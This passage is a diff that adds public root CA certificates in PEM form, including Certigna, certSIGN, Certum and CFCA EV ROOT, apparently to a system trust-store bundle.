+yTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7fpYn
+Kx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLy
+yCwzk5Iwx06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5n
+wXARPbv0+Em34yaXOp/SX3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6
+OV+KmalBWQewLK8=
+-----END CERTIFICATE-----
+
+# Certigna
+-----BEGIN CERTIFICATE-----
+MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNV
+BAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4X
+DTA3MDYyOTE1MTMwNVoXDTI3MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQ
+BgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwIQ2VydGlnbmEwggEiMA0GCSqGSIb3
+DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7qXOEm7RFHYeGifBZ4
+QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyHGxny
+gQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbw
+zBfsV1/pogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q
+130yGLMLLGq/jj8UEYkgDncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2
+JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKfIrjxwo1p3Po6WAbfAgMBAAGjgbwwgbkw
+DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQtCRZvgHyUtVF9lo53BEw
+ZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJBgNVBAYT
+AkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzj
+AQ/JSP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG
+9w0BAQUFAAOCAQEAhQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8h
+bV6lUmPOEvjvKtpv6zf+EwLHyzs+ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFnc
+fca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1kluPBS1xp81HlDQwY9qcEQCYsuu
+HWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY1gkIl2PlwS6w
+t0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
+WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
+-----END CERTIFICATE-----
+
+# Certigna Root CA
+-----BEGIN CERTIFICATE-----
+MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAw
+WjELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAw
+MiA0ODE0NjMwODEwMDAzNjEZMBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0x
+MzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjdaMFoxCzAJBgNVBAYTAkZSMRIwEAYD
+VQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYzMDgxMDAwMzYxGTAX
+BgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
+ggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sO
+ty3tRQgXstmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9M
+CiBtnyN6tMbaLOQdLNyzKNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPu
+I9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8JXrJhFwLrN1CTivngqIkicuQstDuI7pm
+TLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16XdG+RCYyKfHx9WzMfgIh
+C59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq4NYKpkDf
+ePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3Yz
+IoejwpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWT
+Co/1VTp2lc5ZmIoJlXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1k
+JWumIWmbat10TWuXekG9qxf5kBdIjzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5
+hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp//TBt2dzhauH8XwIDAQABo4IB
+GjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
+FBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
+1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczov
+L3d3d3cuY2VydGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilo
+dHRwOi8vY3JsLmNlcnRpZ25hLmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYr
+aHR0cDovL2NybC5kaGlteW90aXMuY29tL2NlcnRpZ25hcm9vdGNhLmNybDANBgkq
+hkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOItOoldaDgvUSILSo3L
+6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxPTGRG
+HVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH6
+0BGM+RFq7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncB
+lA2c5uk5jR+mUYyZDDl34bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdi
+o2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1
+gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS6Cvu5zHbugRqh5jnxV/v
+faci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaYtlu3zM63
+Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayh
+jWZSaX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw
+3kAP+HwV96LOPNdeE4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
+-----END CERTIFICATE-----
+
+# certSIGN ROOT CA
+-----BEGIN CERTIFICATE-----
+MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYT
+AlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBD
+QTAeFw0wNjA3MDQxNzIwMDRaFw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJP
+MREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTCC
+ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7IJUqOtdu0KBuqV5Do
+0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHHrfAQ
+UySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5d
+RdY4zTW2ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQ
+OA7+j0xbm0bqQfWwCHTD0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwv
+JoIQ4uNllAoEwF73XVv4EOLQunpL+943AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08C
+AwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAcYwHQYDVR0O
+BBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IBAQA+0hyJ
+LjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecY
+MnQ8SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ
+44gx+FkagQnIl6Z0x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6I
+Jd1hJyMctTEHBDa0GpC9oHRxUIltvBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNw
+i/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7NzTogVZ96edhBiIL5VaZVDADlN
+9u6wWk5JRFRYX0KD
+-----END CERTIFICATE-----
+
+# certSIGN Root CA G2
+-----BEGIN CERTIFICATE-----
+MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNV
+BAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04g
+Uk9PVCBDQSBHMjAeFw0xNzAyMDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJ
+BgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJ
+R04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDF
+dRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05N0Iw
+vlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZ
+uIt4ImfkabBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhp
+n+Sc8CnTXPnGFiWeI8MgwT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKs
+cpc/I1mbySKEwQdPzH/iV8oScLumZfNpdWO9lfsbl83kqK/20U6o2YpxJM02PbyW
+xPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91QqhngLjYl/rNUssuHLoPj1P
+rCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732jcZZroiF
+DsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fx
+DTvf95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgy
+LcsUDFDYg2WD7rlcz8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6C
+eWRgKRM+o/1Pcmqr4tTluCRVLERLiohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB
+/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSCIS1mxteg4BXrzkwJ
+d8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOBywaK8SJJ6ejq
+kX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
+b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQl
+qiCA2ClV9+BB/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0
+OJD7uNGzcgbJceaBxXntC6Z58hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+c
+NywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5BiKDUyUM/FHE5r7iOZULJK2v0ZXk
+ltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklWatKcsWMy5WHgUyIO
+pwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tUSxfj
+03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZk
+PuXaTH4MNMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE
+1LlSVHJ7liXMvGnjSG4N0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MX
+QRBdJ3NghVdJIgc=
+-----END CERTIFICATE-----
+
+# Certum EC-384 CA
+-----BEGIN CERTIFICATE-----
+MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQsw
+CQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScw
+JQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMT
+EENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2MDcyNDU0WhcNNDMwMzI2MDcyNDU0
+WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBT
+LkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAX
+BgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATE
+KI6rGFtqvm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7Tm
+Fy8as10CW4kjPMIRBSqniBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68Kj
+QjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI0GZnQkdjrzife81r1HfS+8
+EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjADVS2m5hjEfO/J
+UG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0QoSZ/6vn
+nvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
+-----END CERTIFICATE-----
+
+# Certum Trusted Network CA
+-----BEGIN CERTIFICATE-----
+MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBM
+MSIwIAYDVQQKExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5D
+ZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBU
+cnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIyMTIwNzM3WhcNMjkxMjMxMTIwNzM3
+WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMg
+Uy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MSIw
+IAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0B
+AQEFAAOCAQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rH
+UV+rpDKmYYe2bg+G0jACl/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LM
+TXPb865Px1bVWqeWifrzq2jUI4ZZJ88JJ7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVU
+BBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4fOQtf/WsX+sWn7Et0brM
+kUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0cvW0QM8x
+AcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNV
+HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNV
+HQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15y
+sHhE49wcrwn9I0j6vSrEuVUEtRCjjSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfL
+I9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1mS1FhIrlQgnXdAIv94nYmem8
+J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5ajZt3hrvJBW8qY
+VoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
+03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
+-----END CERTIFICATE-----
+
+# Certum Trusted Network CA 2
+-----BEGIN CERTIFICATE-----
+MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCB
+gDELMAkGA1UEBhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMu
+QS4xJzAlBgNVBAsTHkNlcnR1bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIG
+A1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29yayBDQSAyMCIYDzIwMTExMDA2MDgz
+OTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQTDEiMCAGA1UEChMZ
+VW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRp
+ZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3
+b3JrIENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWA
+DGSdhhuWZGc/IjoedQF97/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn
+0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+oCgCXhVqqndwpyeI1B+twTUrWwbNWuKFB
+OJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40bRr5HMNUuctHFY9rnY3lE
+fktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2puTRZCr+E
+Sv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1m
+o130GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02i
+sx7QBlrd9pPPV3WZ9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOW
+OZV7bIBaTxNyxtd9KXpEulKkKtVBRgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgez
+Tv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pyehizKV/Ma5ciSixqClnrDvFAS
+adgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vMBhBgu4M1t15n
+3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
+AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMC
+AQYwDQYJKoZIhvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQ
+F/xlhMcQSZDe28cmk4gmb3DWAl45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTf
+CVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuAL55MYIR4PSFk1vtBHxgP58l1cb29
+XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMoclm2q8KMZiYcdywm
+djWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tMpkT/
+WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jb
+AoJnwTnbw3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksq
+P/ujmv5zMnHCnsZy4YpoJ/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Ko
+b7a6bINDd82Kkhehnlt4Fj1F4jNy3eFmypnTycUm/Q1oBEauttmbjL4ZvrHG8hnj
+XALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLXis7VmFxWlgPF7ncGNf/P
+5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7zAYspsbi
+DrW5viSP
+-----END CERTIFICATE-----
+
+# Certum Trusted Root CA
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+# CFCA EV ROOT
+-----BEGIN CERTIFICATE-----
+MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJD
+TjEwMC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9y
+aXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkx
+MjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEwMC4GA1UECgwnQ2hpbmEgRmluYW5j
+aWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJP
+T1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnVBU03
+sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpL
+TIpTUnrD7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5
+/ZOkVIBMUtRSqy5J35DNuF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp
+7hZZLDRJGqgG16iI0gNyejLi6mhNbiyWZXvKWfry4t3uMCz7zEasxGPrb382KzRz
+EpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7xzbh72fROdOXW3NiGUgt
+hxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9fpy25IGvP
+a931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqot
+aK8KgWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNg
+TnYGmE69g60dWIolhdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfV
+PKPtl8MeNPo4+QgO48BdK4PRVmrJtqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hv
+cWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAfBgNVHSMEGDAWgBTj/i39KNAL
+tbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAd
+BgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
+ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObT
+ej/tUxPQ4i9qecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdL
+jOztUmCypAbqTuv0axn96/Ua4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBS
+ESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sGE5uPhnEFtC+NiWYzKXZUmhH4J/qy
+P5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfXBDrDMlI1Dlb4pd19
+xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjnaH9d
+Ci77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN
+5mydLIhyPDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe
+/v5WOaHIz16eGWRGENoXkbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+Z
+AAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3CekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ
+5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
+-----END CERTIFICATE-----
+
+# CommScope Public Trust ECC Root-01
+-----BEGIN CERTIFICATE-----
+MIICHTCCAaOgAwIBAgIUQ3CCd89NXTTxyq4yLzf39H91oJ4wCgYIKoZIzj0EAwMw
